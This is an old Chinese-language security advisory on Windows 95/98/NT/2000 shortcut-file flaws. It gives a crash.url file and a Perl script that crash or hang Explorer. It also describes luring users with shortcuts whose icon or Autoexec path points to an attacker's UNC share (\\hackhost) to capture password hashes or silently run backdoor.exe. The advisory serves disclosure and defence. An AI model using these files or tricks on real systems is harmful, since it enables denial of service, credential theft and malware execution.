Windows快捷方式存在多个安全漏洞

/ns/ld/win/data/20011103003648.htm

发现者:tombkeeper

主页: www.whitecell.org

描述:

Windows快捷方式可能导致本地拒绝服务和用户口令散列值泄漏以及执行恶意程序

受影响的系统:

Windows 95/98 Windows NT/2000

详细:

1、
Windows快捷方式包括扩展名为lnk、pif、url的文件。其中url文件为纯文本格式lnk
和pif文件为二进制文件。这三种快捷方式都可以自定义图标文件,当把图标文件名设定为
Windows的默认设备名时,由于设备名称解析漏洞,可导致Windows 95/98系统崩溃。由于
对图标的搜索是由Explorer自动完成的,所以只要快捷方式在资源浏览器中出现,就会导
致系统崩溃。如果快捷方式在桌面上,那么系统一启动就会崩溃。只有以DOS启动系统,在
命令行下删除。由于无法直接设置图标文件名为设备名,只有通过直接编辑的方式来创建。

测试:
------把以下代码存为“crash.url”------
[InternetShortcut]
URL=http://127.0.0.1/
IconIndex=1
IconFile=C:\con\con.dll
--------------END---------------------
对于lnk和pif文件可先更名,再通过16进制编辑器更改相应字段。

2、
对于Windows NT/2000系统不会由于设备名称解析而崩溃。但当我们创建一个完全由
ASCII字符填充组成的pif文件时会出现以下情况:

1)一个非法的pif文件(用ascii字符'x'填充)至少要369字节,系统才认为是一个
合法的pif文件,才会以pif的图标[pifmgr.dll,0]显示,才会在属性里有程序、
字体、内存、屏幕”等内容。而且仅仅当一个非pif文件的大小是369字节时察看
属性的“程序”页时,不会发生程序错误,哪怕是370字节也不行。当对一个大于
369字节的非法pif文件察看属性的“程序”页时,Explorer会出错,提示:
"0x77650b82"指令引用的"0x000000000"内存。该内存不能为"read"
但这种错误并不会引起缓冲溢出的安全问题。初步分析了一下,问题出在pif文件
的16进制地址:
0x00000181[0x87]0x00000182[0x01]和
0x00000231[0xC3]0x00000232[0x02]
即使是一个合法pif文件,只要改动这四处的任意一处,也会引起程序错误。而只
要把0x00000181和0x00000182的值改为[0xFF][0xFF],那么其它地址任意更改
都不会引起错误。

2)当一个大于30857的非法pif文件(用ascii字符'x'填充)出现在资源管理器中时,
会使系统的CPU资源占用达100%,根本不能察看其属性页。也无法在资源管理器中
对其进行任何操作,甚至不能在命令提示符中删除。试图删除时会提示会提示:
“进程无法访问文件,因为另一个程序正在使用此文件。”
但只要把0x00000181和0x00000182中任意一处改为[0xFF]这种情况就不会发生。
这是由于资源浏览器试图显示其实并不存在的图标引起的。如果快捷方式在桌面
上,那么系统一启动这种情况就会出现。只有使用任务管理器中止Explorer.exe
的进程,再启动一个命令提示符,从命令行下删除。
此问题仅影响Windows NT/2000系统,不影响Windows 95/98。
测试代码:
----------------------------------------
#!perl
#Windows NT/2000 pif_Crash_Exploit
#silly code by tombkeeper@126.com

open (FH,">full.pif") or die "$!";
print (FH 'x'x30858);
close (FH);
system ("cmd /c start taskmgr.exe");
----------------------------------------

3、
由于快捷方式显示的图标是由Explorer自动从设定的路径中获取的,而Windows快捷
方式的图标文件设置支持UNC路径,入侵者可以使用如下社交工程学诡计获得用户口令散
列值:在一台主机hackhost启动一个sniffer程序,通过邮件或其他方式向主机target的
用户发送一个图标设制为UNC路径\\hackhost\c\foo.ico的快捷方式,只要此快捷方式出
现在资源管理器中,Explorer就会试图用当前用户的帐号连接hackhost以获取foo.ico,
这样,用户的口令散列值就会被sniffer记录,可以通过一些工具破解。

4、
在Windows NT/2000系统的pif文件的“属性”-->“程序”-->“高级”-->“自定义
MS-DOS 初始化文件”中的“Autoexec 文件名”和“Config 文件名”默认是:
%SystemRoot%\SYSTEM32\AUTOEXEC.NT和%SystemRoot%\SYSTEM32\CONFIG.NT
这两个文件名支持UNC路径。利用这个弱点,入侵者可以进行如下社交工程学诡计:在一
台主机hackhost上建立共享文件夹evil,在文件夹evil中包含文件foo.nt和backdoor.exe。
foo.nt的内容是:“.\backdoor.exe”再通过邮件或别的方法发送一个看起来完全无害的
game.pif,这个game.pif的“Autoexec 文件名”是“\\hackhost\evil\foo.nt”。用户
打开game.pif就会执行backdoor.exe,而且是在后台运行。

使用UNC路径时“Autoexec 文件名”和“Config 文件名”默认的当前目录是C:\。

5、
win32PE程序的扩展名改为pif后,任然可以正常运行,可以蒙蔽一些用户执行恶意程
序。SirCam病毒就利用了这一点。


解决方案:

不要轻易把邮件的附件导出,尤其不要导出到桌面上,更不要轻易打开邮件中的各种
快捷方式附件,至少不要以管理帐户登录来做这些事。一旦出现问题,可以按文中提到的
方法解决。